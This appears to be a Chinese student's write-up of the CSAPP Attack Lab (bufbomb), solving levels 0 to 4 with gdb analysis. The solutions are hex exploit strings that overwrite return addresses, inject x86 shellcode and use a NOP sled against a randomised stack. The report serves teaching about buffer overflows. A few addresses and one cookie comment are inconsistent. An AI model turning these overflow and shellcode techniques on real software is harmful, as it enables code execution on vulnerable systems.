CSAPP LAB3 Attack lab

实验题目:

lab3 Attack lab

实验目的:

根据实验要求完成level0~level4的解答

实验环境:

Ubuntu12.04

实验内容及操作步骤:

一、文件夹构成

bufbomb实验需要攻击的目标程序bufbomb
bufbomb.c:目标程序bufbomb的主源程序。老师给的pdf上有。
makecookie该程序基于你的学号产生一个唯一的由816进制数字组成的4字节序列(例如0x165568ae),称为“cookie”
hex2raw构建的攻击字符串中可能包含不可打印字符,很难通过键盘输入,提交结果时,一般将结果放置在一个答案txt文件中(攻击字符串以可显示的16进制形式存储),在输入给bufbomb之前,需要使用hex2raw将其转换成原始的(raw)数据。

其中结果提交和验证时,均需要使用到bufbomb,其使用方法(-h查看帮助):

 

u:学生标识;-u要求我们输入一个唯一的userid,根据不同的userid生成不同的cookie值;
n对于级别4nitro/kaboom),需要加此参数;
s:验证正确性的同时,将结果提交到服务器(如果验证正确);

h:查看帮助。

一些对应的解答文件名称:

Level 0: smoke

Level 1: fizz

Level 2: bang

Level 3: boom

Level 4: kaboom

二、准备工作

  1. 通过objdump -S bufbomb > file.txt 将bufbomb中的代码都放入txt里,便于后面的分析。
  2. 使用makecookie,生成用户的Cookie,后面都会用到(我这里用了ayano),生成cookie为0x165568ae。

 

三、Level 0:Smoke

构造攻击字符串作为目标程序输入,造成缓冲区溢出,使目标程序能够执行smoke函数。

08048e0a <smoke>:  

 8048e0a:   55                      push   %ebp  

 8048e0b:   89 e5                   mov    %esp,%ebp  

 8048e0d:   83 ec 18                sub    $0x18,%esp  

 8048e10:   c7 44 24 04 fe a2 04    movl   $0x804a2fe,0x4(%esp)  

 8048e17:   08   

 8048e18:   c7 04 24 01 00 00 00    movl   $0x1,(%esp)  

 8048e1f:   e8 6c fb ff ff          call   8048990 <__printf_chk@plt>  

 8048e24:   c7 04 24 00 00 00 00    movl   $0x0,(%esp)  

8048e2b:   e8 50 04 00 00          call   8049280 <validate>  

 8048e30:   c7 04 24 00 00 00 00    movl   $0x0,(%esp)  

 8048e37:   e8 94 fa ff ff          call   80488d0 <exit@plt>  

我们的目标是调用getbuf()后,不正常返回,跳过smoke这个函数。并且我们发现smoke函数的进入地址好像为0x08048e0a(这里先保留意见)。

关于getbuf函数的C代码:

/* Buffer size for getbuf */

#define NORMAL_BUFFER_SIZE 32

int getbuf()

{

    char buf[NORMAL_BUFFER_SIZE];

    Gets(buf);

    return 1;

}

  我们可以看到getbuf函数栈上申请的空间为32,我们缓冲区溢出的原理就是对buf的空间进行连续的填充,直到将getbuf函数的返回指令的地址用我们自定义的地址进行覆盖,从而在执行完getbuf函数后,在返回时将会跳转到我们所需要的的地址即可。

  

观察到getbuf汇编代码如下:

08049262 <getbuf>:  

 8049262:   55                      push   %ebp  

 8049263:   89 e5                   mov    %esp,%ebp  

 8049265:   83 ec 38                sub    $0x38,%esp  

 8049268:   8d 45 d8                lea    -0x28(%ebp),%eax  

 804926b:   89 04 24                mov    %eax,(%esp)  

 804926e:   e8 bf f9 ff ff          call   8048c32 <Gets>  

 8049273:   b8 01 00 00 00          mov    $0x1,%eax  

 8049278:   c9                      leave    

 8049279:   c3                      ret      

 

  我们可以发现buf所占用的长度是0x28,那么总长度28+4(ebp)+4(返回地址)=48。我们只要把后4个字节用smoke的地址占据就好了, 并且smoke函数的进入地址为0x08048e0a

  答案就为:00 00 00 00 00 00 00 00 00 00

            00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00

00 00 00 00 0a 8e 04 08

将其保存到一个txt文件中,用管道输入,通过hex2raw之后输入bufbomb程序。

 

发现居然错了?!前面的思路都没有问题,那么错的应该就是smoke的进入地址。我们采用gdb调试,发现smoke真正的进入地址可能是0x08048e10

 

此时答案为  00 00 00 00 00 00 00 00 00 00

            00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00

00 00 00 00 10 8e 04 08

 

尝试一下,成功了!

四、Level 1:Fizz

构造攻击字符串作为目标程序输入,造成缓冲区溢出,使目标程序能够执行fizz函数;fizz函数含有一个参数(cookie值),构造的攻击字符串应能给定fizz函数正确的参数,使其判断成功。

先看一下fizz的源码:

void fizz(int val)  

{  

if (val == cookie) {  

printf("Fizz!: You called fizz(0x%x)\n", val);  

validate(1);  

else  

printf("Misfire: You called fizz(0x%x)\n", val);  

exit(0);  

这题和第0题类似,只不过我们这次要跳到fizz这个函数。而且fizz这个函数有一个参数,我们需要伪造出函数的参数。

08048daf <fizz>:  

 8048daf:   55                      push   %ebp  

 8048db0:   89 e5                   mov    %esp,%ebp  

 8048db2:   83 ec 18                sub    $0x18,%esp  

 8048db5:   8b 45 08                mov    0x8(%ebp),%eax  

 8048db8:   3b 05 04 d1 04 08       cmp    0x804d104,%eax  

 8048dbe:   75 26                   jne    8048de6 <fizz+0x37>  

 8048dc0:   89 44 24 08             mov    %eax,0x8(%esp)  

 8048dc4:   c7 44 24 04 e0 a2 04    movl   $0x804a2e0,0x4(%esp)  

 8048dcb:   08   

 8048dcc:   c7 04 24 01 00 00 00    movl   $0x1,(%esp)  

 8048dd3:   e8 b8 fb ff ff          call   8048990 <__printf_chk@plt>  

 8048dd8:   c7 04 24 01 00 00 00    movl   $0x1,(%esp)  

 8048ddf:   e8 9c 04 00 00          call   8049280 <validate>  

 8048de4:   eb 18                   jmp    8048dfe <fizz+0x4f>  

 8048de6:   89 44 24 08             mov    %eax,0x8(%esp)  

 8048dea:   c7 44 24 04 d4 a4 04    movl   $0x804a4d4,0x4(%esp)  

 8048df1:   08   

 8048df2:   c7 04 24 01 00 00 00    movl   $0x1,(%esp)  

 8048df9:   e8 92 fb ff ff          call   8048990 <__printf_chk@plt>  

 8048dfe:   c7 04 24 00 00 00 00    movl   $0x0,(%esp)  

 8048e05:   e8 c6 fa ff ff          call   80488d0 <exit@plt>

我们能发现fizz的进入地址为0x08048daf。从mov %eax,0x8(%esp)movl $0x804a4d4,0x4(%esp)这两句话我们可以推测到是关键点。

0x8(%esp)就是函数的第一个参数,而0x804a4d4这个内存地址保存着cookie的值。也就是说参数是放到了返回地址的上面,并且和返回地址相邻。

同第0关一样,先用fizz函数地址覆盖掉getbuf返回地址,可以执行fizz函数,并且要将fizz函数的返回地址覆盖掉,并用cookie覆盖掉上面的参数。这样就可以跳转到fizz函数,并且在跳转后自己取到cookie作为参数,fizz函数的返回地址可以用任意四个字节的数覆盖,

从前面可知我的cookie为0x165568ae

答案就为:00 00 00 00 00 00 00 00 00 00

          00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00

00 00 00 00 af 8d 04 08 00 00 00 00 ae 68 55 16

将其保存到fizz.txt中,用管道输入,通过hex2raw后再输入到bufbomb

 

完成

五、Level 2: Bang

构造攻击字符串作为目标程序输入,造成缓冲区溢出,使目标程序能够执行bang函数;并且要篡改全局变量global_valuecookie值,使其判断成功。但我们知道全局变量放置在bss节或data节,并不存放在栈中,前面的方法只能修改栈中的内容,无法修改全局变量的内容。那我们需要换一种思路,先构建一段恶意代码,通过该段恶意代码,修改全局变量的值,以及其他操作。
  我们需要将恶意代码放置在攻击字符串中,使得getbuf返回之后,首先执行这段恶意代码,然后再执行bang函数。
  先看一下bang的源码:

int global_value = 0;  

void bang(int val)  

{  

if (global_value == cookie) {  

printf("Bang!: You set global_value to 0x%x\n", global_value);  

validate(2);  

else  

printf("Misfire: global_value = 0x%x\n", global_value);  

exit(0);  

}  

以及它的汇编代码。先找到全局变量的位置:在bang函数里看到有两个内存地址,正好和源程序里的判断相等对应,接下来确定哪一个是全局变量。(看看是0x804d10c还是0x804d104

08048d52 <bang>:  

 8048d52:   55                      push   %ebp  

 8048d53:   89 e5                   mov    %esp,%ebp  

 8048d55:   83 ec 18                sub    $0x18,%esp  

 8048d58:   a1 0c d1 04 08          mov    0x804d10c,%eax  

 8048d5d:   3b 05 04 d1 04 08       cmp    0x804d104,%eax  

 8048d63:   75 26                   jne    8048d8b <bang+0x39>  

 8048d65:   89 44 24 08             mov    %eax,0x8(%esp)  

 8048d69:   c7 44 24 04 ac a4 04    movl   $0x804a4ac,0x4(%esp)  

 8048d70:   08   

 8048d71:   c7 04 24 01 00 00 00    movl   $0x1,(%esp)  

 8048d78:   e8 13 fc ff ff          call   8048990 <__printf_chk@plt>  

 8048d7d:   c7 04 24 02 00 00 00    movl   $0x2,(%esp)  

 8048d84:   e8 f7 04 00 00          call   8049280 <validate>  

 8048d89:   eb 18                   jmp    8048da3 <bang+0x51>  

 8048d8b:   89 44 24 08             mov    %eax,0x8(%esp)  

 8048d8f:   c7 44 24 04 c2 a2 04    movl   $0x804a2c2,0x4(%esp)  

 8048d96:   08   

 8048d97:   c7 04 24 01 00 00 00    movl   $0x1,(%esp)  

 8048d9e:   e8 ed fb ff ff          call   8048990 <__printf_chk@plt>  

 8048da3:   c7 04 24 00 00 00 00    movl   $0x0,(%esp)  

 8048daa:   e8 21 fb ff ff          call   80488d0 <exit@plt>  

我们通过gdb调试来判断,发现符合猜想,0x804d10c存的是全局变量。并且getbuf真正的进入地址为0x08049268(level 0的领悟)

 

 

查查bang的真实地址,发现为0x08048d58

 

这个时候,我们也找到了需要的恶意cookie值位0x165568ae,全局变量地址为0x0804d10c,可以写出恶意程序了。

 

将恶意代码保存到bomb.s的汇编代码文件,然后用gcc –m32 –c 编译成.o可重定位目标文件,然后objdump –d 反编译出机器码。

 

这是恶意代码,我们需要的是这些16进制的机器码,我把它们放到buf区域里,然后执行就可以了。要执行这些代码就需要让控制流可以跳到这,只要把这段恶意代码的首地址放到getbuf函数的返回地址处就可以了,也就是buf缓冲区的首地址放到getbuf函数返回地址。接下来找buf缓冲区的首地址:(我们根据前面发现的getbuf首地址0x08049268,对应更改了一下file.txt里原本显示的地址)

08049268 <getbuf>:  

 8049268:   55                      push   %ebp  

 8049269:   89 e5                   mov    %esp,%ebp  

 804926b:   83 ec 38                sub    $0x38,%esp  

 804926e:   8d 45 d8                lea    -0x28(%ebp),%eax  

 8049273:   89 04 24                mov    %eax,(%esp)  

 8049276:   e8 bf f9 ff ff          call   8048c32 <Gets>  

 804927a:   b8 01 00 00 00          mov    $0x1,%eax  

 804927f:   c9                      leave    

 8049280:   c3                      ret      

看一下getbuf函数,发现,在图中lea -0x28(%ebp),%eax处,ebp减小开辟了一段空间,也就是buf区域,eax寄存器中放的就是该空间的首地址,即buf首地址。

gdb调试,我们在0x8049273也就是call gets之前设置断点来查看eax寄存器中的内容,查看eax的值。

 

用小端法表示也就是c8 2f 68 55。则最终编写的恶意代码为:

c7 05 0c d1 04 08 ae

68 55 16   

68 58 8d 04 08  

c3   

00 00 00 00  

00 00 00 00  

00 00 00 00  

00 00 00 00  

00 00 00 00  

00 00 00 00  

00 00 00 00  

c8 2f 68 55 

将其保存到一个txt文件中,用管道输入,通过hex2raw之后输入bufbomb程序。

 

完成

六、Level 3: Boom

该实验与上面实验不同的点在于,这个实验需要我们可以返回test同时,修改getbuf的返回值。从上一题的汇编代码中我们可以看到getbuf的返回值为1,这一题我们需要将它修改为我们的cookie值,同时需要成功返回test函数继续执行。

前面的攻击都是使目标程序跳转到特定函数,进而利用exit函数结束目标程序运行,在这个过程中我们都把原来的恢复现场需要用的返回地址和原testebp给破坏了。Boom这一关中,我们将修复这些被我们破坏的栈状态信息,让最后还是回到test中,让被攻击者不容易发现我们动了手脚,

另外,构造攻击字符串,使得getbuf都能将正确的cookie值返回给test函数,而不是返回值1。设置返回值也就是更改eax(eax中保存的就是函数的返回值)的值,可以用mov指令设置eax存的为cookie值。更改完要进入test函数继续执行下面的指令,也就是下图中这个位置,将这个地址压栈。(以下是test的部分汇编代码)

08048e3c  <test>:  

 8048e3c:   55                      push   %ebp  

 8048e3d:   89 e5                   mov    %esp,%ebp  

 8048e3f:   53                      push   %ebx  

 8048e40:   83 ec 24                sub    $0x24,%esp  

 8048e43:   e8 d0 fd ff ff          call   8048c18 <uniqueval>  

 8048e48:   89 45 f4                mov    %eax,-0xc(%ebp)  

 8048e4b:   e8 12 04 00 00          call   8049262 <getbuf>  

 8048e50:   89 c3                   mov    %eax,%ebx  

 8048e52:  e8 c1 fd ff ff          call   8048c18 <uniqueval>  

 8048e57:   8b 55 f4                mov    -0xc(%ebp),%edx  

 8048e5a:   39 d0                   cmp    %edx,%eax  

 8048e5c:   74 16                   je     8048e74 <test+0x38>  

 8048e5e:   c7 44 24 04 60 a4 04    movl   $0x804a460,0x4(%esp)  

 8048e65:   08 

到这里,我们所做的与上一题相同。接下来要恢复ebp的值,先得到ebp旧值。

gdb调试:在getbuf第一行,push ebp 设置断点。查看ebp的值。

 

ebp=0x55683020

最终我们需要的汇编代码为:

movl $0x165568ae,%eax  

movl $0x55683020,%ebp

pushl $0x8048e50   

ret 

mov那一行是将cookie值传入eax;将旧的ebp的值保存到ebp中,同时压入返回地址;push是需要将call getbuf函数的下一条要执行的指令地址压入返回地址;使用ret指令来返回test函数继续执行。

就像上一关一样操作,生成机器码。

 

并且我们最终的返回地址和上一关一样,是c8 2f 68 55

最终得到:

b8 ae 68 55 16 bd 20 30 68 55  

68 50 8e 04 08 c3 00 00 00 00  

00 00 00 00 00 00 00 00 00 00  

00 00 00 00 00 00 00 00 00 00  

00 00 00 00 c8 2f 68 55

 

成功!

七、Level 4: Kaboom

进入这一关需要加入-n选项,调的函数是testn和getbufn,与前三关不同。

该实验要比上一个实验更深一步。getbufn函数将连续运行5次,每次需要我们设置返回值为我们自己的cookie,而不是值1,并正确返回到testn函数中,在testn代码中看到这将导致程序运行“ KABOOM!”。 漏洞利用代码应设置cookie作为返回值,恢复任何损坏的状态,将正确的返回位置压入堆栈,并执行ret指令以真正返回到testn

#define KABOOM_BUFFER_SIZE 512  

void testn()  

{  

    int val;  

    volatile int local = uniqueval();  

    val = getbufn();  

    /* Check for corrupted stack */  

    if (local != uniqueval())  

    {  

        printf("Sabotaged!: the stack has been corrupted\n");  

    }  

    else if (val == cookie)  

    {  

        printf("KABOOM!: getbufn returned 0x%x\n", val);  

        validate(4);  

    }  

    else  

    {  

        printf("Dud: getbufn returned 0x%x\n", val);  

    }  

}  

int getbufn()  

{  

    char buf[KABOOM_BUFFER_SIZE];  

    Gets(buf);  

    return 1;  

}  

查看C代码后发现其缓冲区大小为512个字节,而不是之前的32个字节。

该实验的难点则是每次堆栈的位置不确定,这里就需要我们使用nop指令。虽然栈的初始地址不同,但会在一些范围里浮动,所以我们需要把我们的代码填在512字节的最后几个字节里,并且前面全面的空间都填上nop(编码为0x90)。不管我们跳转到哪个nop,最后都会执行到我们的代码。

其余步骤和上一题一样,需要我们把cookie值放入eax,旧的ebp放入ebp中,同时将call getbufn下一条指令压入栈中,最后使用ret指令返回。

08048cce<testn>:  

 8048cce:   55                      push   %ebp  

 8048ccf:   89 e5                   mov    %esp,%ebp  

 8048cd1:   53                      push   %ebx  

 8048cd2:   83 ec 24                sub    $0x24,%esp  

 8048cd5:   e8 3e ff ff ff          call   8048c18 <uniqueval>  

 8048cda:   89 45 f4                mov    %eax,-0xc(%ebp)  

 8048cdd:   e8 62 05 00 00          call   8049244 <getbufn>  

 8048ce2:   89 c3                   mov    %eax,%ebx  

 8048ce4:   e8 2f ff ff ff          call   8048c18 <uniqueval> 

再回来看一下getbufn的汇编代码:

08049244  <getbufn>:  

 8049244:   55                      push   %ebp  

 8049245:   89 e5                   mov    %esp,%ebp  

 8049247:   81 ec 18 02 00 00       sub    $0x218,%esp  

 804924d:   8d 85 f8 fd ff ff       lea    -0x208(%ebp),%eax  

 8049253:   89 04 24                mov    %eax,(%esp)  

 8049256:   e8 d7 f9 ff ff          call   8048c32 <Gets>  

 804925b:   b8 01 00 00 00          mov    $0x1,%eax  

 8049260:   c9                      leave    

 8049261:   c3                      ret

buf的首地址为-0x208(%ebp)为十进制520个字节大小。ebp是随机的,但是ebp相对esp是绝对的,根据上面的汇编代码结合栈结构得出

ebp = esp + 0x24 + 4 = esp + 28

getbufn函数返回后要从0x8048ce2开始执行,将这个地址压栈。

mov    $0x165568ae,%eax  //将返回值修改为cookie  

lea    0x28(%esp),%ebp   //ebp=esp+28  

push   $0x8048ce2     //call getbufn函数的下一条要执行的指令的地址压入返回地址  

ret

转成机器码:

 

 

因为随机,不知道程序会跳到哪里,所以我们需要把恶意代码放到最后面,像最开始说的那样用nop滑行(nop不执行任何操作,只是PC+1,实际上我们需要用它的机器码90来填充)。最后面加上恶意程序以及需要跳转的地址。

现在我们只剩下返回地址没找到,我们在0x08049253处设置断点,读出eax的值。(每执行一次,要用c命令继续,进而执行下一次)。

如此这样五次,注意这次调试时运行r要加入-n

 

最终我们找到了0x55682de8 0x55682e38 0x55682d78 0x55682e58 0x5555682e08

我们取最大的0x55682e58作为返回地址,这样就会一路滑行到恶意代码并执行。

我们最终需要填充0x208+8=528字节。

90 90 90 90 90 90 90 90 90 90   

90 90 90 90 90 90 90 90 90 90  

90 90 90 90 90 90 90 90 90 90   

90 90 90 90 90 90 90 90 90 90  

90 90 90 90 90 90 90 90 90 90   

90 90 90 90 90 90 90 90 90 90  

90 90 90 90 90 90 90 90 90 90   

90 90 90 90 90 90 90 90 90 90  

90 90 90 90 90 90 90 90 90 90   

90 90 90 90 90 90 90 90 90 90  

/*100*/  

90 90 90 90 90 90 90 90 90 90   

90 90 90 90 90 90 90 90 90 90  

90 90 90 90 90 90 90 90 90 90   

90 90 90 90 90 90 90 90 90 90  

90 90 90 90 90 90 90 90 90 90   

90 90 90 90 90 90 90 90 90 90  

90 90 90 90 90 90 90 90 90 90   

90 90 90 90 90 90 90 90 90 90  

90 90 90 90 90 90 90 90 90 90   

90 90 90 90 90 90 90 90 90 90  

/*200*/  

90 90 90 90 90 90 90 90 90 90   

90 90 90 90 90 90 90 90 90 90  

90 90 90 90 90 90 90 90 90 90   

90 90 90 90 90 90 90 90 90 90  

90 90 90 90 90 90 90 90 90 90   

90 90 90 90 90 90 90 90 90 90  

90 90 90 90 90 90 90 90 90 90   

90 90 90 90 90 90 90 90 90 90  

90 90 90 90 90 90 90 90 90 90   

90 90 90 90 90 90 90 90 90 90  

/*300*/  

90 90 90 90 90 90 90 90 90 90   

90 90 90 90 90 90 90 90 90 90  

90 90 90 90 90 90 90 90 90 90   

90 90 90 90 90 90 90 90 90 90  

90 90 90 90 90 90 90 90 90 90   

90 90 90 90 90 90 90 90 90 90  

90 90 90 90 90 90 90 90 90 90   

90 90 90 90 90 90 90 90 90 90  

90 90 90 90 90 90 90 90 90 90   

90 90 90 90 90 90 90 90 90 90  

/*400*/  

90 90 90 90 90 90 90 90 90 90  

90 90 90 90 90 90 90 90 90 90  

90 90 90 90 90 90 90 90 90 90  

90 90 90 90 90 90 90 90 90 90  

90 90 90 90 90 90 90 90 90 90  

90 90 90 90 90 90 90 90 90 90  

90 90 90 90 90 90 90 90 90 90  

90 90 90 90 90 90 90 90 90 90  

90 90 90 90 90 90 90 90 90 90  

90 90 90 90 90 90 90 90 90 90  

/*500*/  

90 90 90 90 90 90 90 90 90  

b8 ae 68 55 16                /*mov    $0x165528ae,%eax*/  

8d 6c 24 28                   /*lea    0x28(%esp),%ebp */  

68 e2 8c 04 08                /*push   $0x8048ce2 */  

c3   

58 2e 68 55                   /*0x55682e58*/ 

 

成功啦!

八、分析和心得体会:

分析:

本次实验主要就是让我们根据实验书的要求编写恶意代码,用于攻击bufbomb这个程序。主要需要了解缓冲区溢出原理、堆栈的变化过程和函数调用的实现过程等底层知识。

心得体会:

如果说lab2是对汇编代码的阅读更熟悉了的话,lab3就是对机器码更加熟悉了。其实机器码和汇编代码、地址的关系十分密切。

同时,我也对缓冲区攻击有了一定的理解,虽然感觉实际攻击肯定比现在这个复杂很多。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值